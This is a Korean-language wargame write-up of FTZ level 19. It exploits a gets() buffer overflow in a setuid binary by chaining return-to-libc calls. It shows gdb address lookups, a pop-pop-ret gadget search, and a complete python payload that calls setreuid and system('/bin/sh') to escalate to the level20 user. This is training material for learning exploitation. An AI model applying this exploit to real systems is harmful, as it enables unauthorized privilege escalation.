FTZ level19
문제
[level19@ftz level19]$ cat hint
main()
{ char buf[20];
gets(buf);
printf("%s\n",buf);
}
[level19@ftz level19]$ gdb attackme
처음 보고 읭? 전에 그렇게 어려운 문제 내놓고 다음 단계에서 이런 문제를 준다고??? 이러고 있었다. 근데 소스 코드를 보다 보니 상위 권한으로 바꿔주는 setreuid함수가 없다는 것을 깨닫고 아... 권한 설정부터 우리가 해줘야 하는 구나 라고 깨닫고 문제를 풀러 갔다. setreuid랑 system("/bin/bash") 두개의 함수를 실행시키려면 Chaining RTL 기법을 이용해야겠다고 생각했다.
취약점
main()
{ char buf[20];
gets(buf);
printf("%s\n",buf);
}
이 쯤 오면 이제 뭐가 문제인지 알 것 이다.
- gets로 입력을 받는데 한도가 없다.
따라서 buf[20]의 크기를 넘어 메모리를 덮어씌울 수 있다.
풀이
[level19@ftz level19]$ cat /etc/passwd | grep level20
level20:x:3100:3100::/home/level20:/bin/bash
[level19@ftz level19]$
우선 레밸 20의 uid를 확인하기 위해 /etc/passwd를 확인했다. 차례대로 유저명,비밀번호,uid,gid,사용자계정이름,사용자 홈 디렉토리, 사용자 로그인 쉘 이다. 따라서 uid는 3100인 것을 확인했다.
(gdb) p system
$1 = {<text variable, no debug info>} 0x4203f2c0 <system>
(gdb) p setreuid
$2 = {<text variable, no debug info>} 0x420d7920 <setreuid>
(gdb)
system 함수와 setreuid 함수의 위치를 찾아보았다.
- system() = 0x4203f2c0
- setreuid() = 0x420d7920
(gdb) disas main
Dump of assembler code for function main:
0x08048440 <main+0>: push ebp
0x08048441 <main+1>: mov ebp,esp
0x08048443 <main+3>: sub esp,0x28
0x08048446 <main+6>: sub esp,0xc
0x08048449 <main+9>: lea eax,[ebp-40]
0x0804844c <main+12>: push eax
0x0804844d <main+13>: call 0x80482f4 <gets>
0x08048452 <main+18>: add esp,0x10
0x08048455 <main+21>: sub esp,0x8
0x08048458 <main+24>: lea eax,[ebp-40]
0x0804845b <main+27>: push eax
0x0804845c <main+28>: push 0x80484d8
0x08048461 <main+33>: call 0x8048324 <printf>
0x08048466 <main+38>: add esp,0x10
0x08048469 <main+41>: leave
0x0804846a <main+42>: ret
0x0804846b <main+43>: nop
0x0804846c <main+44>: nop
0x0804846d <main+45>: nop
0x0804846e <main+46>: nop
0x0804846f <main+47>: nop
End of assembler dump.
(gdb)
메인 함수이다. gets() 함수를 통해 입력은 ebp-40부터 받는 것을 확인했다.
buf[20] + dummy[20] + sfp[4] + ret 식으로 변조하면 될 것 같다.
우리는 Chaining RTL기법을 이용하기 때문에 다음과 같이 짜면 될 것 같다.
buf[20] + dummy[20] + sfp[4] + ret(&setreuid) + ret(pop pop ret)' + 3100 + 3100 + ret(&system) + 'AAAA' + 환경변수 주소(/bin/sh) 정도로 하면 될 것 같다.
[level19@ftz level19]$ objdump -S attackme | grep pop -A2
8048342: 5e pop %esi
8048343: 89 e1 mov %esp,%ecx
8048345: 83 e4 f0 and $0xfffffff0,%esp
--
804836e: 5b pop %ebx
804836f: 81 c3 5a 12 00 00 add $0x125a,%ebx
8048375: 8b 83 20 00 00 00 mov 0x20(%ebx),%eax
--
80483eb: 5d pop %ebp
80483ec: c3 ret
80483ed: 8d 76 00 lea 0x0(%esi),%esi
--
80483f8: 5d pop %ebp
80483f9: c3 ret
80483fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
--
8048426: 5d pop %ebp
8048427: c3 ret
8048428: 90 nop
--
8048438: 5d pop %ebp
8048439: c3 ret
804843a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
--
804849c: 58 pop %eax
804849d: 5b pop %ebx
804849e: 5d pop %ebp
804849f: c3 ret
--
80484a8: 5d pop %ebp
80484a9: c3 ret
80484aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
--
80484ba: 5b pop %ebx
80484bb: 81 c3 0e 11 00 00 add $0x110e,%ebx
80484c1: 8d 76 00 lea 0x0(%esi),%esi
[level19@ftz level19]$
pop pop ret는 0x0804849d를 이용하면 될 것 같다.
익스코드
[level19@ftz level19]$ (python -c "print 'A'*44 + '\x20\x79\x0d\x42' + '\x9d\x84\x04\x08' + '\x1c\x0c\x00\x00' + '\x1c\x0c\x00\x00' + '\xc0\xf2\x03\x42' + '\x90'*4 + '\x6f\xff\xff\xbf'";cat) | ./attackme
B??AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA y
id
uid=3100(level20) gid=3099(level19) groups=3099(level19)
안풀려서 혹시? 하고 환경변수 주소를 구하는 프로그램의 이름의 길이를 attackme와 같은 8byte로 맞추고 진행하였더니 풀렸따...... 내 궁금증을 해결해줄 이 누가 없을까 ㅠ